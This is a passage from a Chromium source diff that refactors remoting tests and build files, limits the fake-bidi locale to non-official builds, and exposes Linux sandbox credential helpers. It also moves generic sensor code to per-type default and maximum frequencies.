       base::Bind(&TokenValidatorFactoryImplTest::DeleteOnFailureCallback,
                  base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, DeleteOnSyncReadError) {
@@ -259,7 +260,7 @@
       kToken,
       base::Bind(&TokenValidatorFactoryImplTest::DeleteOnFailureCallback,
                  base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 TEST_F(TokenValidatorFactoryImplTest, DeleteOnAsyncReadError) {
@@ -272,7 +273,7 @@
       kToken,
       base::Bind(&TokenValidatorFactoryImplTest::DeleteOnFailureCallback,
                  base::Unretained(this)));
-  base::RunLoop().Run();
+  run_loop_.Run();
 }
 
 }  // namespace remoting
diff --git a/remoting/host/win/BUILD.gn b/remoting/host/win/BUILD.gn
index ffb557c..8a104de3 100644
--- a/remoting/host/win/BUILD.gn
+++ b/remoting/host/win/BUILD.gn
@@ -37,7 +37,6 @@
     default_compatibility_manifest,
     dpi_aware_manifest,
   ]
-  type = "exe"
 }
 
 # Depending on this target gives a default executable manifest with the addition
@@ -49,7 +48,6 @@
     dpi_aware_manifest,
     require_administrator_manifest,
   ]
-  type = "exe"
 }
 
 # Depending on this target gives the executable a default manifest with the
@@ -61,7 +59,6 @@
     dpi_aware_manifest,
     enable_uiaccess_manifest,
   ]
-  type = "exe"
 }
 
 # Depending on this target gives the executable a default manifest with the
@@ -73,7 +70,6 @@
     dpi_aware_manifest,
     enable_uiaccess_require_admin_manifest,
   ]
-  type = "exe"
 }
 
 source_set("win") {
diff --git a/remoting/protocol/authenticator_test_base.cc b/remoting/protocol/authenticator_test_base.cc
index 7b26f0a..bc7b573b 100644
--- a/remoting/protocol/authenticator_test_base.cc
+++ b/remoting/protocol/authenticator_test_base.cc
@@ -34,7 +34,7 @@
   --(*counter);
   EXPECT_GE(*counter, 0);
   if (*counter == 0)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/remoting/protocol/ssl_hmac_channel_authenticator_unittest.cc b/remoting/protocol/ssl_hmac_channel_authenticator_unittest.cc
index 6b9aa21..9691e6a4 100644
--- a/remoting/protocol/ssl_hmac_channel_authenticator_unittest.cc
+++ b/remoting/protocol/ssl_hmac_channel_authenticator_unittest.cc
@@ -48,7 +48,7 @@
   --(*counter);
   EXPECT_GE(*counter, 0);
   if (*counter == 0)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 }  // namespace
diff --git a/remoting/remoting_locales.gni b/remoting/remoting_locales.gni
index d57d841d..42e949d 100644
--- a/remoting/remoting_locales.gni
+++ b/remoting/remoting_locales.gni
@@ -22,7 +22,6 @@
   "et",
 
   "fa",
-  "fake-bidi",
   "fi",
   "fil",
   "fr",
@@ -72,7 +71,6 @@
 remoting_locales_with_underscores -= [
   "en-GB",
 
-  "fake-bidi",
   "pt-PT",
   "zh-CN",
   "zh-TW",
@@ -80,12 +78,16 @@
 remoting_locales_with_underscores += [
   "en_GB",
 
-  "fake_bidi",
   "pt_PT",
   "zh_CN",
   "zh_TW",
 ]
 
+if (!is_official_build) {
+  remoting_locales += [ "fake-bidi" ]
+  remoting_locales_with_underscores += [ "fake_bidi" ]
+}
+
 # An additional locale "en-US" is generated for ChromeOS and Chrome on iOS.
 # TODO(yuweih): Our build script doesn't seem to work with en-US and Chrome
 # on iOS doesn't seem to have en-US.lproj. Add is_ios back if we do need to
diff --git a/remoting/resources/BUILD.gn b/remoting/resources/BUILD.gn
index a12b0e24..6908c4e 100644
--- a/remoting/resources/BUILD.gn
+++ b/remoting/resources/BUILD.gn
@@ -95,6 +95,10 @@
   if (is_android) {
     outputs += android_string_outputs
   }
+
+  if (is_official_build) {
+    defines = [ "_official_build" ]
+  }
 }
 
 if (is_android) {
diff --git a/remoting/resources/remoting_strings.grd b/remoting/resources/remoting_strings.grd
index c6c0d5e..1bfef25 100644
--- a/remoting/resources/remoting_strings.grd
+++ b/remoting/resources/remoting_strings.grd
@@ -31,7 +31,10 @@
     <output filename="remoting/resources/es.pak" lang="es" type="data_package"/>
     <output filename="remoting/resources/et.pak" lang="et" type="data_package"/>
     <output filename="remoting/resources/fa.pak" lang="fa" type="data_package"/>
-    <output filename="remoting/resources/fake-bidi.pak" lang="fake-bidi" type="data_package"/>
+    <if expr="not _official_build">
+      <!-- We don't need to generate the fake-bidi locale for official builds. -->
+      <output filename="remoting/resources/fake-bidi.pak" lang="fake-bidi" type="data_package"/>
+    </if>
     <output filename="remoting/resources/fi.pak" lang="fi" type="data_package"/>
     <output filename="remoting/resources/fil.pak" lang="fil" type="data_package"/>
     <output filename="remoting/resources/fr.pak" lang="fr" type="data_package"/>
@@ -87,7 +90,10 @@
     <output filename="remoting/webapp/_locales/da/messages.json" lang="da" type="chrome_messages_json"/>
     <output filename="remoting/webapp/_locales/de/messages.json" lang="de" type="chrome_messages_json"/>
     <output filename="remoting/webapp/_locales/fa/messages.json" lang="fa" type="chrome_messages_json"/>
-    <output filename="remoting/webapp/_locales/fake_bidi/messages.json" lang="fake-bidi" type="chrome_messages_json"/>
+    <if expr="not _official_build">
+      <!-- We don't need to generate the fake-bidi locale for official builds. -->
+      <output filename="remoting/webapp/_locales/fake_bidi/messages.json" lang="fake-bidi" type="chrome_messages_json"/>
+    </if>
     <output filename="remoting/webapp/_locales/el/messages.json" lang="el" type="chrome_messages_json"/>
     <output filename="remoting/webapp/_locales/en/messages.json" lang="en" type="chrome_messages_json"/>
     <if expr="chromeos">
diff --git a/sandbox/linux/seccomp-bpf-helpers/syscall_parameters_restrictions.cc b/sandbox/linux/seccomp-bpf-helpers/syscall_parameters_restrictions.cc
index 061bfb4..5f81dff5 100644
--- a/sandbox/linux/seccomp-bpf-helpers/syscall_parameters_restrictions.cc
+++ b/sandbox/linux/seccomp-bpf-helpers/syscall_parameters_restrictions.cc
@@ -42,6 +42,10 @@
 #define F_DUPFD_CLOEXEC (F_LINUX_SPECIFIC_BASE + 6)
 #endif
 
+#if !defined(PR_SET_TIMERSLACK)
+#define PR_SET_TIMERSLACK 29
+#endif
+
 // https://android.googlesource.com/platform/bionic/+/lollipop-release/libc/private/bionic_prctl.h
 #if !defined(PR_SET_VMA)
 #define PR_SET_VMA 0x53564d41
@@ -153,7 +157,7 @@
   return Switch(option)
       .CASES((PR_GET_NAME, PR_SET_NAME, PR_GET_DUMPABLE, PR_SET_DUMPABLE
 #if defined(OS_ANDROID)
-              , PR_SET_VMA, PR_SET_PTRACER
+              , PR_SET_VMA, PR_SET_PTRACER, PR_SET_TIMERSLACK
 
 // Enable PR_SET_TIMERSLACK_PID, an Android custom prctl which is used in:
 // https://android.googlesource.com/platform/system/core/+/lollipop-release/libcutils/sched_policy.c.
diff --git a/sandbox/linux/services/credentials.cc b/sandbox/linux/services/credentials.cc
index 9f278538..309de38 100644
--- a/sandbox/linux/services/credentials.cc
+++ b/sandbox/linux/services/credentials.cc
@@ -38,22 +38,6 @@
 
 bool IsRunningOnValgrind() { return RUNNING_ON_VALGRIND; }
 
-// Checks that the set of RES-uids and the set of RES-gids have
-// one element each and return that element in |resuid| and |resgid|
-// respectively. It's ok to pass NULL as one or both of the ids.
-bool GetRESIds(uid_t* resuid, gid_t* resgid) {
-  uid_t ruid, euid, suid;
-  gid_t rgid, egid, sgid;
-  PCHECK(sys_getresuid(&ruid, &euid, &suid) == 0);
-  PCHECK(sys_getresgid(&rgid, &egid, &sgid) == 0);
-  const bool uids_are_equal = (ruid == euid) && (ruid == suid);
-  const bool gids_are_equal = (rgid == egid) && (rgid == sgid);
-  if (!uids_are_equal || !gids_are_equal) return false;
-  if (resuid) *resuid = euid;
-  if (resgid) *resgid = egid;
-  return true;
-}
-
 const int kExitSuccess = 0;
 
 #if defined(__clang__)
@@ -151,7 +135,24 @@
   return 0;
 }
 
-bool SetGidAndUidMaps(gid_t gid, uid_t uid) {
+}  // namespace.
+
+// static
+bool Credentials::GetRESIds(uid_t* resuid, gid_t* resgid) {
+  uid_t ruid, euid, suid;
+  gid_t rgid, egid, sgid;
+  PCHECK(sys_getresuid(&ruid, &euid, &suid) == 0);
+  PCHECK(sys_getresgid(&rgid, &egid, &sgid) == 0);
+  const bool uids_are_equal = (ruid == euid) && (ruid == suid);
+  const bool gids_are_equal = (rgid == egid) && (rgid == sgid);
+  if (!uids_are_equal || !gids_are_equal) return false;
+  if (resuid) *resuid = euid;
+  if (resgid) *resgid = egid;
+  return true;
+}
+
+// static
+bool Credentials::SetGidAndUidMaps(gid_t gid, uid_t uid) {
   const char kGidMapFile[] = "/proc/self/gid_map";
   const char kUidMapFile[] = "/proc/self/uid_map";
   if (NamespaceUtils::KernelSupportsDenySetgroups()) {
@@ -166,8 +167,6 @@
   return true;
 }
 
-}  // namespace.
-
 // static
 bool Credentials::DropAllCapabilities(int proc_fd) {
   if (!SetCapabilities(proc_fd, std::vector<Capability>())) {
diff --git a/sandbox/linux/services/credentials.h b/sandbox/linux/services/credentials.h
index 157c8e7..0cf9997 100644
--- a/sandbox/linux/services/credentials.h
+++ b/sandbox/linux/services/credentials.h
@@ -33,7 +33,15 @@
     SYS_ADMIN,
   };
 
-  // Drop all capabilities in the effective, inheritable and permitted sets for
+  // Checks that the set of RES-uids and the set of RES-gids have
+  // one element each and returns that element in |resuid| and |resgid|
+  // respectively. It's OK to pass NULL as one or both of the ids.
+  static bool GetRESIds(uid_t* resuid, gid_t* resgid);
+
+  // Sets gid and uid maps. See man newgidmap(1)/newuidmap(1) for details.
+  static bool SetGidAndUidMaps(gid_t gid, uid_t uid);
+
+  // Drops all capabilities in the effective, inheritable and permitted sets for
   // the current thread. For security reasons, since capabilities are
   // per-thread, the caller is responsible for ensuring it is single-threaded
   // when calling this API.
@@ -44,13 +52,12 @@
   static bool DropAllCapabilities() WARN_UNUSED_RESULT;
   // Sets the effective and permitted capability sets for the current thread to
   // the list of capabiltiies in |caps|. All other capability flags are cleared.
-  static bool SetCapabilities(int proc_fd,
-                              const std::vector<Capability>& caps)
+  static bool SetCapabilities(int proc_fd, const std::vector<Capability>& caps)
       WARN_UNUSED_RESULT;
 
   // Versions of the above functions which do not check that the process is
   // single-threaded. After calling these functions, capabilities of other
-  // threads will not be changed. This is dangerous, do not use unless you nkow
+  // threads will not be changed. This is dangerous, do not use unless you know
   // what you are doing.
   static bool DropAllCapabilitiesOnCurrentThread() WARN_UNUSED_RESULT;
   static bool SetCapabilitiesOnCurrentThread(
@@ -60,7 +67,7 @@
   // inheritable flag set for the given capability.
   static bool HasCapability(Capability cap);
 
-  // Return true iff there is any capability in any of the capabilities sets
+  // Returns true iff there is any capability in any of the capabilities sets
   // of the current thread.
   static bool HasAnyCapability();
 
@@ -71,7 +78,7 @@
   // ability to move to a user namespace ahead of time.
   static bool CanCreateProcessInNewUserNS();
 
-  // Move the current process to a new "user namespace" as supported by Linux
+  // Moves the current process to a new "user namespace" as supported by Linux
   // 3.8+ (CLONE_NEWUSER).
   // The uid map will be set-up so that the perceived uid and gid will not
   // change.
@@ -80,7 +87,7 @@
   // This will fail if the process is not mono-threaded.
   static bool MoveToNewUserNS() WARN_UNUSED_RESULT;
 
-  // Remove the ability of the process to access the file system. File
+  // Removes the ability of the process to access the file system. File
   // descriptors which are already open prior to calling this API remain
   // available.
   // The implementation currently uses chroot(2) and requires CAP_SYS_CHROOT.
diff --git a/sandbox/linux/services/namespace_sandbox.cc b/sandbox/linux/services/namespace_sandbox.cc
index 3346d25..3e5bba3 100644
--- a/sandbox/linux/services/namespace_sandbox.cc
+++ b/sandbox/linux/services/namespace_sandbox.cc
@@ -105,11 +105,10 @@
 };
 
 pid_t GetGlibcCachedTid() {
-  pid_t tid;
-  pthread_mutex_t lock;
+  pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER;
   CHECK_EQ(0, pthread_mutex_init(&lock, nullptr));
   CHECK_EQ(0, pthread_mutex_lock(&lock));
-  tid = lock.__data.__owner;
+  pid_t tid = lock.__data.__owner;
   CHECK_EQ(0, pthread_mutex_unlock(&lock));
   CHECK_EQ(0, pthread_mutex_destroy(&lock));
   return tid;
diff --git a/services/device/generic_sensor/generic_sensor_consts.h b/services/device/generic_sensor/generic_sensor_consts.h
index ba4b959..de30b1dd7 100644
--- a/services/device/generic_sensor/generic_sensor_consts.h
+++ b/services/device/generic_sensor/generic_sensor_consts.h
@@ -22,18 +22,6 @@
 // Required for conversion from Milligauss to Microtesla.
 constexpr double kMicroteslaInMilligauss = 0.1;
 
-// Default rate for returning value of the ambient light sensor.
-constexpr int kDefaultAmbientLightFrequencyHz = 5;
-
-// Default rate for returning value of the accelerometer sensor.
-constexpr int kDefaultAccelerometerFrequencyHz = 10;
-
-// Default rate for returning value of the gyroscope sensor.
-constexpr int kDefaultGyroscopeFrequencyHz = 10;
-
-// Default rate for returning value of the magnetometer sensor.
-constexpr int kDefaultMagnetometerFrequencyHz = 10;
-
 }  // namespace device
 
 #endif  // SERVICES_DEVICE_GENERIC_SENSOR_GENERIC_SENSOR_CONSTS_H_
diff --git a/services/device/generic_sensor/generic_sensor_service_unittest.cc b/services/device/generic_sensor/generic_sensor_service_unittest.cc
index 94b18136..2c058ae 100644
--- a/services/device/generic_sensor/generic_sensor_service_unittest.cc
+++ b/services/device/generic_sensor/generic_sensor_service_unittest.cc
@@ -20,10 +20,13 @@
 #include "services/device/generic_sensor/sensor_provider_impl.h"
 #include "services/device/public/cpp/device_features.h"
 #include "services/device/public/cpp/generic_sensor/sensor_reading.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 #include "services/device/public/interfaces/constants.mojom.h"
 
 namespace device {
 
+using mojom::SensorType;
+
 namespace {
 
 void CheckValue(double expect, double value) {
@@ -39,7 +42,7 @@
 
 class FakePlatformSensor : public PlatformSensor {
  public:
-  FakePlatformSensor(mojom::SensorType type,
+  FakePlatformSensor(SensorType type,
                      mojo::ScopedSharedBufferMapping mapping,
                      PlatformSensorProvider* provider)
       : PlatformSensor(type, std::move(mapping), provider) {}
@@ -47,7 +50,7 @@
   bool StartSensor(const PlatformSensorConfiguration& configuration) override {
     SensorReading reading;
     // Only mocking the shared memory update for AMBIENT_LIGHT type is enough.
-    if (GetType() == mojom::SensorType::AMBIENT_LIGHT) {
+    if (GetType() == SensorType::AMBIENT_LIGHT) {
       // Set the shared buffer value as frequency for testing purpose.
       reading.values[0] = configuration.frequency();
       UpdateSensorReading(reading, true);
@@ -95,10 +98,10 @@
   FakePlatformSensorProvider() = default;
   ~FakePlatformSensorProvider() override = default;
 
-  void CreateSensorInternal(mojom::SensorType type,
+  void CreateSensorInternal(SensorType type,
                             mojo::ScopedSharedBufferMapping mapping,
                             const CreateSensorCallback& callback) override {
-    DCHECK(type >= mojom::SensorType::FIRST && type <= mojom::SensorType::LAST);
+    DCHECK(type >= SensorType::FIRST && type <= SensorType::LAST);
     auto sensor = base::MakeRefCounted<FakePlatformSensor>(
         type, std::move(mapping), this);
     callback.Run(sensor);
@@ -109,7 +112,7 @@
 
 class TestSensorClient : public mojom::SensorClient {
  public:
-  TestSensorClient() : client_binding_(this) {}
+  TestSensorClient(SensorType type) : client_binding_(this), type_(type) {}
 
   // Implements mojom::SensorClient:
   void SensorReadingChanged() override {
@@ -127,8 +130,13 @@
                        mojom::SensorClientRequest client_request) {
     ASSERT_TRUE(params);
     EXPECT_TRUE(params->memory.is_valid());
-    EXPECT_DOUBLE_EQ(30.0, params->default_configuration.frequency());
-    EXPECT_DOUBLE_EQ(50.0, params->maximum_frequency);
+    const double expected_default_frequency =
+        std::min(30.0, GetSensorMaxAllowedFrequency(type_));
+    EXPECT_DOUBLE_EQ(expected_default_frequency,
+                     params->default_configuration.frequency());
+    const double expected_maximum_frequency =
+        std::min(50.0, GetSensorMaxAllowedFrequency(type_));
+    EXPECT_DOUBLE_EQ(expected_maximum_frequency, params->maximum_frequency);
     EXPECT_DOUBLE_EQ(1.0, params->minimum_frequency);
 
     shared_buffer_ = params->memory->MapAtOffset(
@@ -200,6 +208,7 @@
   // |check_value_| is called to verify the data is same as we
   // expected in SensorReadingChanged().
   base::OnceCallback<void(double)> check_value_;
+  SensorType type_;
 
   DISALLOW_COPY_AND_ASSIGN(TestSensorClient);
 };
@@ -244,10 +253,10 @@
 // Requests the SensorProvider to create a sensor.
 TEST_F(GenericSensorServiceTest, GetSensorTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::PROXIMITY);
   base::RunLoop run_loop;
   sensor_provider_->GetSensor(
-      mojom::SensorType::PROXIMITY, mojo::MakeRequest(&sensor),
+      SensorType::PROXIMITY, mojo::MakeRequest(&sensor),
       base::BindOnce(&TestSensorClient::OnSensorCreated,
                      base::Unretained(client.get()), run_loop.QuitClosure()));
   run_loop.Run();
@@ -256,10 +265,10 @@
 // Tests GetDefaultConfiguration.
 TEST_F(GenericSensorServiceTest, GetDefaultConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::ACCELEROMETER);
   base::RunLoop run_loop;
 
-  sensor_provider_->GetSensor(mojom::SensorType::ACCELEROMETER,
+  sensor_provider_->GetSensor(SensorType::ACCELEROMETER,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -276,8 +285,8 @@
 // SensorClient::SensorReadingChanged().
 TEST_F(GenericSensorServiceTest, ValidAddConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -302,10 +311,11 @@
 // the mocked SensorImpl, while we add one with 60.0.
 TEST_F(GenericSensorServiceTest, InvalidAddConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
+  auto client =
+      base::MakeUnique<TestSensorClient>(SensorType::LINEAR_ACCELERATION);
   base::RunLoop run_loop;
 
-  sensor_provider_->GetSensor(mojom::SensorType::LINEAR_ACCELERATION,
+  sensor_provider_->GetSensor(SensorType::LINEAR_ACCELERATION,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -327,16 +337,16 @@
 // its clients.
 TEST_F(GenericSensorServiceTest, MultipleClientsTest) {
   mojom::SensorPtr sensor_1;
-  auto client_1 = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client_1 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor_1),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client_1.get()),
                                              base::BindOnce(&base::DoNothing)));
 
   mojom::SensorPtr sensor_2;
-  auto client_2 = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client_2 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor_2),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client_2.get()),
@@ -369,18 +379,18 @@
 // client, other clients should not be affected.
 TEST_F(GenericSensorServiceTest, ClientMojoConnectionBrokenTest) {
   mojom::SensorPtr sensor_1;
-  auto client_1 = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client_1 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor_1),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client_1.get()),
                                              base::BindOnce(&base::DoNothing)));
   mojom::SensorPtr sensor_2;
-  auto client_2 = base::MakeUnique<TestSensorClient>();
+  auto client_2 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
   {
     base::RunLoop run_loop;
     sensor_provider_->GetSensor(
-        mojom::SensorType::AMBIENT_LIGHT, mojo::MakeRequest(&sensor_2),
+        SensorType::AMBIENT_LIGHT, mojo::MakeRequest(&sensor_2),
         base::BindOnce(&TestSensorClient::OnSensorCreated,
                        base::Unretained(client_2.get()),
                        run_loop.QuitClosure()));
@@ -414,8 +424,8 @@
 // Adds a valid configuration, then remove it.
 TEST_F(GenericSensorServiceTest, ValidRemoveConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -452,10 +462,10 @@
 // Removes an invalid configuration.
 TEST_F(GenericSensorServiceTest, InvalidRemoveConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
   base::RunLoop run_loop;
 
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -475,8 +485,8 @@
 // Test mixed add and remove configuration operations.
 TEST_F(GenericSensorServiceTest, MixedAddAndRemoveConfigurationTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -539,8 +549,8 @@
 // SensorReadingChanged()).
 TEST_F(GenericSensorServiceTest, SuspendTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -575,8 +585,8 @@
 // be notified by SensorReadingChanged() as usual.
 TEST_F(GenericSensorServiceTest, SuspendThenResumeTest) {
   mojom::SensorPtr sensor;
-  auto client = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client.get()),
@@ -622,15 +632,15 @@
 // receive SensorReadingChanged() notification.
 TEST_F(GenericSensorServiceTest, MultipleClientsSuspendAndResumeTest) {
   mojom::SensorPtr sensor_1;
-  auto client_1 = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client_1 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor_1),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client_1.get()),
                                              base::BindOnce(&base::DoNothing)));
   mojom::SensorPtr sensor_2;
-  auto client_2 = base::MakeUnique<TestSensorClient>();
-  sensor_provider_->GetSensor(mojom::SensorType::AMBIENT_LIGHT,
+  auto client_2 = base::MakeUnique<TestSensorClient>(SensorType::AMBIENT_LIGHT);
+  sensor_provider_->GetSensor(SensorType::AMBIENT_LIGHT,
                               mojo::MakeRequest(&sensor_2),
                               base::BindOnce(&TestSensorClient::OnSensorCreated,
                                              base::Unretained(client_2.get()),
diff --git a/services/device/generic_sensor/linux/sensor_data_linux.cc b/services/device/generic_sensor/linux/sensor_data_linux.cc
index 84739eb..8134f7e 100644
--- a/services/device/generic_sensor/linux/sensor_data_linux.cc
+++ b/services/device/generic_sensor/linux/sensor_data_linux.cc
@@ -8,6 +8,7 @@
 #include "base/version.h"
 #include "services/device/generic_sensor/generic_sensor_consts.h"
 #include "services/device/public/cpp/generic_sensor/sensor_reading.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 
 namespace device {
 
@@ -32,8 +33,8 @@
       [](double scaling_value, double offset, SensorReading& reading) {
         reading.values[0] = scaling_value * (reading.values[0] + offset);
       });
-  data->default_configuration =
-      PlatformSensorConfiguration(kDefaultAmbientLightFrequencyHz);
+  data->default_configuration = PlatformSensorConfiguration(
+      SensorTraits<SensorType::AMBIENT_LIGHT>::kDefaultFrequency);
 }
 
 // Depending on a kernel version, CrOS has a different axes plane.
@@ -98,8 +99,8 @@
 
   MaybeCheckKernelVersionAndAssignFileNames(file_names_x, file_names_y,
                                             file_names_z, data);
-  data->default_configuration =
-      PlatformSensorConfiguration(kDefaultAccelerometerFrequencyHz);
+  data->default_configuration = PlatformSensorConfiguration(
+      SensorTraits<SensorType::ACCELEROMETER>::kDefaultFrequency);
 }
 
 void InitGyroscopeSensorData(SensorPathsLinux* data) {
@@ -134,8 +135,8 @@
 
   MaybeCheckKernelVersionAndAssignFileNames(file_names_x, file_names_y,
                                             file_names_z, data);
-  data->default_configuration =
-      PlatformSensorConfiguration(kDefaultGyroscopeFrequencyHz);
+  data->default_configuration = PlatformSensorConfiguration(
+      SensorTraits<SensorType::GYROSCOPE>::kDefaultFrequency);
 }
 
 // TODO(maksims): Verify magnitometer works correctly on a chromebook when
@@ -158,8 +159,8 @@
 
   MaybeCheckKernelVersionAndAssignFileNames(file_names_x, file_names_y,
                                             file_names_z, data);
-  data->default_configuration =
-      PlatformSensorConfiguration(kDefaultMagnetometerFrequencyHz);
+  data->default_configuration = PlatformSensorConfiguration(
+      SensorTraits<SensorType::MAGNETOMETER>::kDefaultFrequency);
 }
 
 }  // namespace
diff --git a/services/device/generic_sensor/linux/sensor_device_manager.cc b/services/device/generic_sensor/linux/sensor_device_manager.cc
index 3771a9a..fbc56b00 100644
--- a/services/device/generic_sensor/linux/sensor_device_manager.cc
+++ b/services/device/generic_sensor/linux/sensor_device_manager.cc
@@ -8,6 +8,7 @@
 #include "base/threading/thread_restrictions.h"
 #include "base/threading/thread_task_runner_handle.h"
 #include "services/device/generic_sensor/linux/sensor_data_linux.h"
+#include "services/device/public/cpp/generic_sensor/sensor_reading.h"
 
 namespace device {
 
@@ -101,7 +102,8 @@
       }
     }
 
-    if (sensor_file_names.empty())
+    if (sensor_file_names.empty() ||
+        sensor_file_names.size() > SensorReading::kValuesCount)
       continue;
 
     const std::string scaling_value =
diff --git a/services/device/generic_sensor/platform_sensor_accelerometer_mac.cc b/services/device/generic_sensor/platform_sensor_accelerometer_mac.cc
index 4ca3b61..b2542db 100644
--- a/services/device/generic_sensor/platform_sensor_accelerometer_mac.cc
+++ b/services/device/generic_sensor/platform_sensor_accelerometer_mac.cc
@@ -12,6 +12,7 @@
 #include "device/base/synchronization/shared_memory_seqlock_buffer.h"
 #include "services/device/generic_sensor/generic_sensor_consts.h"
 #include "services/device/generic_sensor/platform_sensor_provider_mac.h"
+#include "services/device/public/cpp/generic_sensor/sensor_traits.h"
 #include "third_party/sudden_motion_sensor/sudden_motion_sensor_mac.h"
 
 namespace {
@@ -34,12 +35,12 @@
 
 namespace device {
 
+using mojom::SensorType;
+
 PlatformSensorAccelerometerMac::PlatformSensorAccelerometerMac(
     mojo::ScopedSharedBufferMapping mapping,
     PlatformSensorProvider* provider)
-    : PlatformSensor(mojom::SensorType::ACCELEROMETER,
-                     std::move(mapping),
-                     provider),
+    : PlatformSensor(SensorType::ACCELEROMETER, std::move(mapping), provider),
       sudden_motion_sensor_(SuddenMotionSensor::Create()) {}
 
 PlatformSensorAccelerometerMac::~PlatformSensorAccelerometerMac() = default;
@@ -52,12 +53,13 @@
     const PlatformSensorConfiguration& configuration) {
   return configuration.frequency() > 0 &&
          configuration.frequency() <=
-             mojom::SensorConfiguration::kMaxAllowedFrequency;
+             SensorTraits<SensorType::ACCELEROMETER>::kMaxAllowedFrequency;
 }
 
 PlatformSensorConfiguration
 PlatformSensorAccelerometerMac::GetDefaultConfiguration() {
-  return PlatformSensorConfiguration(kDefaultAccelerometerFrequencyHz);
+  return PlatformSensorConfiguration(
+      SensorTraits<SensorType::ACCELEROMETER>::kDefaultFrequency);
 }
 
 bool PlatformSensorAccelerometerMac::StartSensor(
